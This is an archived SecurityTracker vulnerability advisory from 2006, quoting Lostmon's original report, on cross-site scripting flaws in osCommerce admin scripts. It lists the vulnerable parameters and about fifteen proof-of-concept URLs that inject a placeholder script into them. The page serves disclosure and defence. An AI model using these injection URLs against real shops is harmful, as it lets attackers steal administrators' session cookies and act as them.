SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Commerce)  >  osCommerce Vendors:  osCommerce
osCommerce Input Validation Holes in Admin Scripts Permit Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1017269
SecurityTracker URL:  http://securitytracker.com/id?1017269
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 21 2006
Impact:  Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 2.2 Milestone 2 Update 060817
Description:  Lostmon reported a vulnerability in osCommerce. A remote user can conduct cross-site scripting attacks.

Several scripts in the '/admin' folder do not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by an authenticated target administrative user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the osCommerce software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The 'gID' parameter in 'configuration.php' is affected.

The 'set' and related parameters in 'modules.php' are affected.

The 'option_order_by', 'value_page', 'option_page', and 'products_options_name' parameters in 'products_attributes.php' are affected.

The 'lID' parameter in 'languages.php' is affected.

The 'selected_box' and 'cID' parameters in 'customers.php' are affected.

The 'spage', 'zID', and 'sID' parameters in 'geo_zones.php' are affected.

Some demonstration exploit URLs are provided:

http://[target]/catalog/admin/configuration.php?gID=1">[XSS-CODE]&cID=3

http://[target]/catalog/admin/modules.php?selected_ box=modules
&set=payment">[XSS-CODE]&osCAdminID=034e6def71e10f0ca58029e93fd361e5

http://[target]/catalog/admin/modules.php?set=payment
">[XSS-CODE]&module=pm2checkou t

http://[target]/catalog/admin/modules.php?set=ordertotal
&module=ot_loworderfee">[XSS-CODE]&action=edit

http://[target]/catalog/admin/products_attributes.php?
a ction=update_option&option_id=1&option_order_by=">
[XSS-CODE]&products_options_id&option_page=1

http://[target]/definitiva/admin/products_attributes.php?
option_orde r_by=products_options_id&value_page=2">[XSS-CODE]

http://[target]/definitiva/admin/products_attributes.php?
option_page=1&option_order_by=products_options_name">[XSS- CODE]

http://[target]/definitiva/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]

ht tp://[target]/catalog/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]

http://[target]/ definitiva/admin/languages.php?page=1&
lID=3">[XSS-CODE]&action=new

http://[target]/definitiva/admin/customers.php?page=1
&cID=1[XSS-CODE]&action=edit

http://[tar get]/catalog/admin/customers.php?selected_box=
customers">[XSS-CODE]

http://[target]/definitiva/admin/geo_zones.php?zpage=1&zID=1&
action=list&spage=1">[XSS-CODE]&sI D=1&saction=edit

http://[target]/definitiva/admin/geo_zones.php?zpage=1&
zID=2">[XSS-CODE]&action=list&spage=1&sID=2&saction=edit

http://[target]/definitiva/admin/ geo_zones.php?zpage=1
&zID=1&action=list&spage=1&sID=1">[XSS-CODE]&saction=new

The vendor was notified on November 20, 2006.

The original advisory is available at:

http://lostmon.blogspot.com/2006/11/oscommerce-multiple-xss-in-admin.html

Impact:  A remote user can access the target authenticated administrative user's cookies (including authentication cookies), if any, associated with the site running the osCommerce software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.oscommerce.com/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Lostmon <lostmon@gmail.com>
Message History:   None.


 Source Message Contents

Date:  Tue, 21 Nov 2006 19:42:48 +0100
From:  Lostmon <lostmon@gmail.com>
Subject:  Oscommerce Multiple XSS in admin section. (Full Report)

 
##########################################
Oscommerce Multiple XSS in admin section.
Vendor url:Http://www.oscommerce.com
Advisore:http://lostmon.blogspot.com/2006/11/
oscommerce-multiple-xss-in-admin.html
Vendor notify:YES Exploit available: YES
##########################################
 
osCommerce contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate multiple params upon submission to multiple scripts
in /admin folder.This could allow a user to create a specially
crafted URL that would execute arbitrary code in a user's browser
within the trust relationship between the browser and the server,
leading to a loss of integrity.
 
 
 
####################
versions
####################
 
Oscommerce -2.2ms2-060817
 
 
###################
SOLUTION
###################
 
No solution was available at this time.
 
 
################
timeline
################
 
Discovered:29-10-2006
vendor notify:20-11-2006
vendor response
disclosure:21-11-2006
 
#################
Examples
#################
 
If the server have auth implemented
for exploit all of this flaws you
need to login , before.
 
-------------------------------
gID param in configuration.php
-------------------------------
 
http://[Victim]/catalog/admin/configuration.php?
gID=1">[XSS-CODE]&cID=3
 
--------------------------
Set param in modules.php
--------------------------
 
http://localhost/catalog/admin/modules.php?selected_box=modules
&set=payment">[XSS-CODE]&osCAdminID=034e6def71e10f0ca58029e93fd361e5
 
http://localhost/catalog/admin/modules.php?set=payment
">[XSS-CODE]&module=pm2checkout
 
http://localhost/catalog/admin/modules.php?set=ordertotal
&module=ot_loworderfee">[XSS-CODE]&action=edit
 
--------------------------------------------------
option_order_by ,value_page ,option_page ,products
_options_name in products_attributes.php
--------------------------------------------------
 
http://[Victim]/catalog/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=">
[XSS-CODE]&products_options_id&option_page=1
 
http://[Victim]/definitiva/admin/products_attributes.php?
option_order_by=products_options_id&value_page=2">[XSS-CODE]
 
http://[Victim]/definitiva/admin/products_attributes.php?
option_page=1&option_order_by=products_options_name">[XSS-CODE]
 
http://[Victim]/definitiva/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]
 
http://[Victim]/catalog/admin/products_attributes.php?
action=update_option&option_id=1&option_order_by=products
_options_id&option_page=1">[XSS-CODE]
 
----------------------------------------------------
lID param in languages.php
---------------------------------------------
 
 
http://localhost/definitiva/admin/languages.php?page=1&
lID=3">[XSS-CODE]&action=new
 
-------------------------------
selected_box,cID in customers.php
-------------------------------
 
http://localhost/definitiva/admin/customers.php?page=1
&cID=1[XSS-CODE]&action=edit
 
http://[Victim]/catalog/admin/customers.php?selected_box=
customers">[XSS-CODE]
 
-------------------------------
spage,zID,sID in geo_zones.php
-------------------------------
 
http://localhost/definitiva/admin/geo_zones.php?zpage=1&zID=1&
action=list&spage=1">[XSS-CODE]&sID=1&saction=edit
 
http://localhost/definitiva/admin/geo_zones.php?zpage=1&
zID=2">[XSS-CODE]&action=list&spage=1&sID=2&saction=edit
 
http://localhost/definitiva/admin/geo_zones.php?zpage=1
&zID=1&action=list&spage=1&sID=1">[XSS-CODE]&saction=new
 
######################## €nd #####################
 
Thnx to Estrella to be my ligth.
 
-- 
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
-- 
La curiosidad es lo que hace mover la mente....
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2006, SecurityGlobal.net LLC